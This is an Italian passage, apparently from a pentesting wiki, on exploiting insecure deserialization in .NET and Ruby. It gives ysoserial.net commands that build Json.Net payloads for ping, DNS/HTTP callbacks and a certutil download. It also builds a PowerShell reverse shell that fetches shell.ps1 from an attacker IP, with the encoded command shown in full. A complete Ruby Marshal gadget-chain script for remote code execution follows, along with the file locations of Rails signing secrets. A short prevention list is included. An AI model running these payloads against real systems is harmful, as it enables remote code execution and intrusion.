Esempi di ysoserial per creare exploit:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ha anche un parametro molto interessante che aiuta a capire meglio come funziona ogni exploit: --test Se si indica questo parametro, ysoserial.net proverà l'exploit localmente, in modo da poter testare se il payload funzionerà correttamente. Questo parametro è utile perché se si esamina il codice, si troveranno porzioni di codice come la seguente (da ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Questo significa che per testare l'exploit il codice chiamerà serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Il codice precedente è vulnerabile all'exploit creato. Quindi se trovi qualcosa di simile in un'applicazione .Net significa che probabilmente anche quell'applicazione è vulnerabile. Pertanto il parametro --test ci permette di capire quali parti di codice sono vulnerabili all'exploit di deserializzazione che può creare ysoserial.net.

ViewState

Dai un'occhiata a questo POST su come provare ad sfruttare il parametro __ViewState di .Net per eseguire codice arbitrario. Se conosci già i segreti utilizzati dalla macchina vittima, leggi questo post per sapere come eseguire codice.

Prevenzione

Per mitigare i rischi associati alla deserializzazione in .Net:

  • Evita di permettere ai flussi di dati di definire i loro tipi di oggetti. Utilizza DataContractSerializer o XmlSerializer quando possibile.

  • Per JSON.Net, imposta TypeNameHandling su None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Evita di utilizzare JavaScriptSerializer con un JavaScriptTypeResolver.

  • Limita i tipi che possono essere deserializzati, comprendendo i rischi intrinseci con i tipi di .Net, come System.IO.FileInfo, che possono modificare le proprietà dei file del server, potenzialmente portando a attacchi di negazione del servizio.

  • Sii cauto con i tipi che hanno proprietà rischiose, come System.ComponentModel.DataAnnotations.ValidationException con la sua proprietà Value, che può essere sfruttata.

  • Controlla in modo sicuro l'istanziazione dei tipi per impedire agli attaccanti di influenzare il processo di deserializzazione, rendendo vulnerabili anche DataContractSerializer o XmlSerializer.

  • Implementa controlli di whitelist utilizzando un SerializationBinder personalizzato per BinaryFormatter e JSON.Net.

  • Rimani informato sui gadget di deserializzazione insicuri noti all'interno di .Net e assicurati che i deserializzatori non istanzino tali tipi.

  • Isola il codice potenzialmente rischioso dal codice con accesso a Internet per evitare di esporre gadget noti, come System.Windows.Data.ObjectDataProvider nelle applicazioni WPF, a fonti di dati non attendibili.

Riferimenti

Ruby

In Ruby, la serializzazione è facilitata da due metodi all'interno della libreria marshal. Il primo metodo, chiamato dump, è utilizzato per trasformare un oggetto in uno stream di byte. Questo processo è chiamato serializzazione. Al contrario, il secondo metodo, load, è utilizzato per riportare uno stream di byte in un oggetto, un processo noto come deserializzazione.

Per proteggere gli oggetti serializzati, Ruby utilizza HMAC (Hash-Based Message Authentication Code), garantendo l'integrità e l'autenticità dei dati. La chiave utilizzata a questo scopo è memorizzata in una delle possibili posizioni seguenti:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Catena di gadget di deserializzazione generica Ruby 2.X per RCE (ulteriori informazioni in https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Altra catena RCE per sfruttare Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

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